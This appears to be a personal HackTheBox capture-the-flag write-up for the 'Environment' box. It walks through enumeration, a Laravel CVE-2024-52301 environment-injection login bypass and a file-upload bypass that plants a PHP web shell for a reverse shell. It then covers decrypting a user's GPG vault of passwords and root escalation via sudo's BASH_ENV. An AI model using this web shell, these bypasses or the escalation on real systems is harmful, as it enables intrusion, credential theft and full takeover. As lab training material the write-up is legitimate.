ENVIRONMENT-HTB Notes

ENVIRONMENT-HTB

Here is my note on ENVIRONMENT box from Hackthebox.

ENVIRONMENT: 10.129.87.60 

nmapAutomator.sh --host 10.129.87.60 --type All

sudo autorecon 10.129.87.60 --vhost-enum.hostname environment.htb --vhost-enum.wordlist /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --vhost-enum.threads 5 --global.domain environment.htb

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
|   256 5c023395ef44e280cd3a960223f19264 (ECDSA)
|_  256 1f3dc2195528a17759514810c44b74ab (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://environment.htb

dirsearch -u http://environment.htb/

[18:42:01] Starting:
[18:42:05] 403 -  555B  - /%2e%2e;/test
[18:42:55] 403 -  555B  - /admin/.config
[18:43:26] 403 -  555B  - /admpar/.ftppass
[18:43:26] 403 -  555B  - /admrev/.ftppass
[18:43:41] 403 -  555B  - /bitrix/.settings.php.bak
[18:43:41] 403 -  555B  - /bitrix/.settings
[18:43:41] 403 -  555B  - /bitrix/.settings.bak
[18:43:45] 403 -  555B  - /build/
[18:43:46] 301 -  169B  - /build  ->  http://environment.htb/build/
[18:44:39] 403 -  555B  - /ext/.deps
[18:44:41] 200 -    0B  - /favicon.ico
[18:45:10] 200 -    2KB - /index.php/login/
[18:45:23] 403 -  555B  - /lib/flex/uploader/.project
[18:45:23] 403 -  555B  - /lib/flex/uploader/.actionScriptProperties
[18:45:23] 403 -  555B  - /lib/flex/uploader/.flexProperties
[18:45:23] 403 -  555B  - /lib/flex/uploader/.settings
[18:45:23] 403 -  555B  - /lib/flex/varien/.actionScriptProperties
[18:45:23] 403 -  555B  - /lib/flex/varien/.flexLibProperties
[18:45:23] 403 -  555B  - /lib/flex/varien/.settings
[18:45:23] 403 -  555B  - /lib/flex/varien/.project
[18:45:28] 200 -    2KB - /login
[18:45:29] 200 -    2KB - /login/
[18:45:31] 302 -  358B  - /logout  ->  http://environment.htb/login
[18:45:32] 302 -  358B  - /logout/  ->  http://environment.htb/login
[18:45:34] 403 -  555B  - /mailer/.env
[18:46:44] 403 -  555B  - /resources/sass/.sass-cache/
[18:46:44] 403 -  555B  - /resources/.arch-internal-preview.css
[18:46:46] 200 -   24B  - /robots.txt
[18:47:12] 301 -  169B  - /storage  ->  http://environment.htb/storage/
[18:47:12] 403 -  555B  - /storage/
[18:47:30] 403 -  555B  - /twitter/.env
[18:47:37] 405 -  245KB - /upload
[18:47:37] 405 -  245KB - /upload/
[18:47:42] 403 -  555B  - /vendor/



Production v1.1 

#No robots.txt

http://environment.htb/upload - 405 Method Not Allowed. 

CVE-2024-52301 Laravel Notes:

PHP 8.2.28 — Laravel 11.30.0

 [Target]:  http://environment.htb

 [~] Application Fingerprint

 [HTTP STATUS]:  200
 [Server]:  nginx/1.22.1
 [Common Laravel Cookie]:  XSRF-TOKEN: eyJpdiI6ImVXTkh2U2hX...
 [Common Laravel Cookie]:  laravel_session: eyJpdiI6IlVtemsyYXdn...
 [INFO]:  Application running in Debug Mode (got via HTTP Method not allowed)


It's vulnerable to CVE-2024-52301 

https://github.com/Nyamort/CVE-2024-52301

http://environment.htb/?--env=qwop 

-It works but it changed to QWOP v1.1 at the end with environment.htb C 2025. 


_token=DjIz8KhesjWamInZfhrIFwoxnQJ90Da3V6jl4UVW&email=qwop%40qwop.com&password=qwop&remember=True or False. 

#Try to change remember=True to Test to get the error on purpose. 

The error give us a leak source code of /login. 

If the website gave you an error ? That's a good thing because it could leads to be a leaked source code or any information that could be used for further enumeration.

/login error page: 

routes/web.php:

        $keep_loggedin = False;
    } elseif ($remember == 'True') {
        $keep_loggedin = True;
    }
 
    if($keep_loggedin !== False) {
    // TODO: Keep user logged in if he selects "Remember Me?"
    }
 
    if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs
        $request->session()->regenerate();
        $request->session()->put('user_id', 1);
        return redirect('/management/dashboard');
    }
 
    $user = User::where('email', $email)->first();

http://environment.htb/login?--env=preprod  #Login with BurpSuite Request instead ! 

#Modified the login parameter to /login?--env=preprod and forwarded the request. 

IT WORKS ! We bypass the login page and it leads to /management/dashboard. 

/management/profile:

ENVIRONMENT-HTB File Upload Bypass Example:

File Upload Bypass as usual ? 

https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/refs/heads/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst

As usual with intruder to a regular png file.

php3 works !

CONTENT-TYPE: image/png 

/storage/files/shell.png.php3

shell.png.php3: 

GIF8
<?php
if (!empty($_POST['cmd'])) {
    $cmd = shell_exec($_POST['cmd']);
	
[SNIP]

http://environment.htb/storage/files/shell.png.php3

Works but it's only download the file instead of executing it. 

┌──(root㉿kali)-[/home/kali/BOXES/ENVIRONMENT]
└─# cat shell.gif.php
GIF89a
<?php system($_GET["cmd"]); ?>

If we try to upload it, the file does indeed bypass the “image only” check, but going to the file’s URL, it doesn’t seems to be executing the revshell.
After more attempts and paying more attention to how the upload function manipulates the file and generates the URL, we find that the extension that works is: .php..
Adding the final dot to the file extension will bypass completely the upload function and allow us to execute the reverse shell.

shell.gif.php.

┌──(root㉿kali)-[/home/kali/CBBH-EXAM]
└─# sudo rlwrap nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.174] from (UNKNOWN) [10.129.87.60] 56306
bash: cannot set terminal process group (929): Inappropriate ioctl for device
bash: no job control in this shell
www-data@environment:~/app/storage/app/public/files$ whoami
whoami
www-data
www-data@environment:~/app/storage/app/public/files$ hostname
hostname
environment

USER-SHELL ! 

www-data@environment:/home/hish$ whoami
whoami
www-data
www-data@environment:/home/hish$ hostname
hostname
environment
www-data@environment:/home/hish$ ls
ls
backup
user.txt
www-data@environment:/home/hish$ cat user.txt
cat user.txt
[REDIRECTED]

USER.TXT: [REDIRECTED]

PRIV ESC: 

www-data -> hish: 

www-data@environment:/home/hish/backup$ pwd
/home/hish/backup
www-data@environment:/home/hish/backup$ ls
ls
keyvault.gpg
www-data@environment:/home/hish/backup$ file keyvault.gpg
file keyvault.gpg
keyvault.gpg: PGP RSA encrypted session key - keyid: B755B0ED D6CFCFD3 RSA (Encrypt or Sign) 2048b .

www-data@environment:/home/hish$ ls -lah
ls -lah
total 36K
drwxr-xr-x 5 hish hish 4.0K Apr 11 00:51 .
drwxr-xr-x 3 root root 4.0K Jan 12  2025 ..
lrwxrwxrwx 1 root root    9 Apr  7 19:29 .bash_history -> /dev/null
-rw-r--r-- 1 hish hish  220 Jan  6  2025 .bash_logout
-rw-r--r-- 1 hish hish 3.5K Jan 12  2025 .bashrc
drwxr-xr-x 4 hish hish 4.0K Aug 30 06:12 .gnupg
drwxr-xr-x 3 hish hish 4.0K Jan  6  2025 .local
-rw-r--r-- 1 hish hish  807 Jan  6  2025 .profile
drwxr-xr-x 2 hish hish 4.0K Jan 12  2025 backup
-rw-r--r-- 1 root hish   33 Aug 30 00:22 user.txt
www-data@environment:/home/hish$ cp -r .gnupg /tmp
cp -r .gnupg /tmp

gpg --homedir /tmp/.gnupg --list-secret-keys

gpg --homedir /tmp/.gnupg --output juicy_decrypted.txt --decrypt keyvault.gpg

www-data@environment:/tmp$ gpg --homedir /tmp/.gnupg --list-secret-keys
gpg --homedir /tmp/.gnupg --list-secret-keys
gpg: WARNING: unsafe permissions on homedir '/tmp/.gnupg'
/tmp/.gnupg/pubring.kbx
-----------------------
sec   rsa2048 2025-01-11 [SC]
      F45830DFB638E66CD8B752A012F42AE5117FFD8E
uid           [ultimate] hish_ <hish@environment.htb>
ssb   rsa2048 2025-01-11 [E]

www-data@environment:/tmp$ gpg --homedir /tmp/.gnupg --output juicy_decrypted.txt --decrypt keyvault.gpg

<--output juicy_decrypted.txt --decrypt keyvault.gpg
gpg: WARNING: unsafe permissions on homedir '/tmp/.gnupg'
gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11
      "hish_ <hish@environment.htb>"
www-data@environment:/tmp$
www-data@environment:/tmp$ ls
ls
juicy_decrypted.txt
keyvault.gpg
systemd-private-1a51fb1ba6474c2abf428e86482e729a-systemd-logind.service-bjkXGi
systemd-private-1a51fb1ba6474c2abf428e86482e729a-systemd-timesyncd.service-60cPok
vmware-root_544-2991268551
www-data@environment:/tmp$ cat juicy_decrypted.txt
cat juicy_decrypted.txt
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!

www-data@environment:/tmp$ ls -lah
ls -lah
total 48K
drwxrwxrwt 10 root     root     4.0K Aug 30 06:13 .
drwxr-xr-x 18 root     root     4.0K Apr 30 00:31 ..
drwxrwxrwt  2 root     root     4.0K Aug 30 00:20 .ICE-unix
drwxrwxrwt  2 root     root     4.0K Aug 30 00:20 .X11-unix
drwxrwxrwt  2 root     root     4.0K Aug 30 00:20 .XIM-unix
drwxrwxrwt  2 root     root     4.0K Aug 30 00:20 .font-unix
drwxr-xr-x  4 www-data www-data 4.0K Aug 30 06:13 .gnupg
-rw-r--r--  1 www-data www-data  107 Aug 30 06:13 juicy_decrypted.txt
-rw-r--r--  1 www-data www-data  430 Aug 30 06:09 keyvault.gpg
drwx------  3 root     root     4.0K Aug 30 00:20 systemd-private-1a51fb1ba6474c2abf428e86482e729a-systemd-logind.service-bjkXGi
drwx------  3 root     root     4.0K Aug 30 00:20 systemd-private-1a51fb1ba6474c2abf428e86482e729a-systemd-timesyncd.service-60cPok
drwx------  2 root     root     4.0K Aug 30 00:22 vmware-root_544-2991268551
www-data@environment:/tmp$ gpg --homedir /tmp/.gnupg --list-secret-keys
gpg --homedir /tmp/.gnupg --list-secret-keys
gpg: WARNING: unsafe permissions on homedir '/tmp/.gnupg'
/tmp/.gnupg/pubring.kbx
-----------------------
sec   rsa2048 2025-01-11 [SC]
      F45830DFB638E66CD8B752A012F42AE5117FFD8E
uid           [ultimate] hish_ <hish@environment.htb>
ssb   rsa2048 2025-01-11 [E]

www-data@environment:/tmp$ gpg --homedir /tmp/.gnupg --output juicy_decrypted.txt --decrypt keyvault.gpg
<--output juicy_decrypted.txt --decrypt keyvault.gpg
gpg: WARNING: unsafe permissions on homedir '/tmp/.gnupg'
gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11
      "hish_ <hish@environment.htb>"
gpg: cannot open '/dev/tty': No such device or address
www-data@environment:/tmp$ cat juicy_decrypted.txt
cat juicy_decrypted.txt
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!  #hish credential !
FACEBOOK.COM -> summerSunnyB3ACH!!

hish:marineSPm@ster!!

www-data@environment:/tmp$ su - hish
su - hish
Password: marineSPm@ster!!
id
uid=1000(hish) gid=1000(hish) groups=1000(hish),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),110(bluetooth)
whoami
hish
hostname
environment

HISH USER-SHELL ! 

hish -> root:

ENV_KEEP+="ENV BASH_ENV" PRIV ESC Notes:

python3 -c 'import pty; pty.spawn("/bin/bash")'

hish@environment:~$ sudo -l
sudo -l
[sudo] password for hish: Ihaves0meMon$yhere123

Sorry, try again.
[sudo] password for hish: marineSPm@ster!!

Matching Defaults entries for hish on environment:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    env_keep+="ENV BASH_ENV", use_pty

User hish may run the following commands on environment:
    (ALL) /usr/bin/systeminfo
	
env_keep+="ENV BASH_ENV" = Looks Interesting ? 

hish@environment:/tmp$ sudo -l
sudo -l
Matching Defaults entries for hish on environment:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    env_keep+="ENV BASH_ENV", use_pty

User hish may run the following commands on environment:
    (ALL) /usr/bin/systeminfo
hish@environment:/tmp$ echo '/bin/bash' > /tmp/root.sh
echo '/bin/bash' > /tmp/root.sh
hish@environment:/tmp$ chmod +x /tmp/root.sh
chmod +x /tmp/root.sh
hish@environment:/tmp$ export BASH_ENV=/tmp/root.sh
export BASH_ENV=/tmp/root.sh
sudo /usr/bin/systeminfo
root@environment:/tmp# whoami
whoami
root
root@environment:/tmp# hostname
hostname
environment
root@environment:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root)

ROOT-SHELL ! 

root@environment:~# whoami
whoami
root
root@environment:~# hostname
hostname
environment
root@environment:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@environment:~# ls
ls
root.txt  scripts
root@environment:~# cat root.txt
cat root.txt
[REDIRECTED]

ROOT.TXT: [REDIRECTED]


Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel